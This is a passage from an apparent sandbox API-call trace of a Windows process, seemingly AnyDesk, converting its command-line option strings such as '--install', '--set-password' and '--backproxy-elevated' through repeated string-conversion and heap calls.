lpWideCharStr=0x242d38, cchWideChar=18 | out: lpWideCharStr="--welcome-session") returned 18 [0178.084] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.084] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d6d0 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0178.084] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.084] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0178.085] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.085] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0178.085] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.085] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0178.085] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.085] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr=".anydesk") returned 9 [0178.085] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146b384, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.085] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146b384, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--backend") returned 10 [0178.086] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d758, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0178.086] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x242d38 [0178.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d758, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=21 | out: lpWideCharStr="--backproxy-elevated") returned 21 [0178.086] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146aba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0178.088] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x26) returned 0x242d38 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146aba0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=19 | out: lpWideCharStr="--backproxy-system") returned 19 [0178.088] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143250c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.088] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d6d0 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143250c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=11 | out: lpWideCharStr="--frontend") returned 11 [0178.088] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d73c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.088] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d73c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--accept") returned 9 [0178.088] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d71c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.088] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d71c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--local-service") returned 16 [0178.089] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472adc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.089] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472adc, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--service") returned 10 [0178.089] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d784, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.089] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d784, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--control") returned 10 [0178.089] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ad4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0178.089] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x24e2d0 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ad4, cbMultiByte=-1, lpWideCharStr=0x24e2d0, cchWideChar=7 | out: lpWideCharStr="--tray") returned 7 [0178.089] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e2d0 | out: hHeap=0x240000) returned 1 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ac4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.089] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ac4, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--agent-tray") returned 13 [0178.089] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.089] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ab0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--agent-frontend") returned 17 [0178.090] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472aa8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0178.090] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xc) returned 0x24e2d0 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472aa8, cbMultiByte=-1, lpWideCharStr=0x24e2d0, cchWideChar=6 | out: lpWideCharStr="--gui") returned 6 [0178.090] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e2d0 | out: hHeap=0x240000) returned 1 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d774, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.090] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d774, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--local-control") returned 16 [0178.090] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a9c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.090] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a9c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--loader") returned 9 [0178.090] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456998, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.090] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456998, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--installer") returned 12 [0178.090] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.090] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a90, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--install") returned 10 [0178.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.091] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a84, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--uninstall") returned 12 [0178.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469fc8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.091] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469fc8, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--remove") returned 9 [0178.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.091] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a74, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--crash-handler") returned 16 [0178.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.091] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a68, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--trace-dmp") returned 12 [0178.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.091] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d6d0 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0178.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.092] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0178.092] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a4c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.092] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a4c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--conn-settings") returned 16 [0178.092] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.092] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a3c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--cap-settings") returned 15 [0178.092] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0178.092] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2c) returned 0x242d38 [0178.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a24, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=22 | out: lpWideCharStr="--global-rec-settings") returned 22 [0178.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.093] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a14, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--trace-conv") returned 13 [0178.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432574, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.093] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432574, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--start-service") returned 16 [0178.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad44, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.094] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad44, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--stop-service") returned 15 [0178.094] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0178.094] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x24) returned 0x242d38 [0178.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a00, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=18 | out: lpWideCharStr="--restart-service") returned 18 [0178.094] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.094] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729f0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--finish-update") returned 16 [0178.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.095] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729e0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--set-password") returned 15 [0178.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0178.095] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x24) returned 0x242d38 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729cc, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=18 | out: lpWideCharStr="--remove-password") returned 18 [0178.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.095] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729c0, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--get-alias") returned 12 [0178.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.095] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729b4, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--get-id") returned 9 [0178.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0178.095] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x26) returned 0x242d38 [0178.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729a0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=19 | out: lpWideCharStr="--register-licence") returned 19 [0178.096] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147298c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0178.096] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x26) returned 0x242d38 [0178.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147298c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=19 | out: lpWideCharStr="--register-license") returned 19 [0178.096] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147297c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.096] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147297c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--get-status") returned 13 [0178.096] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147296c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.096] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147296c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--disclaimer") returned 13 [0178.096] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472960, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.097] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472960, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | 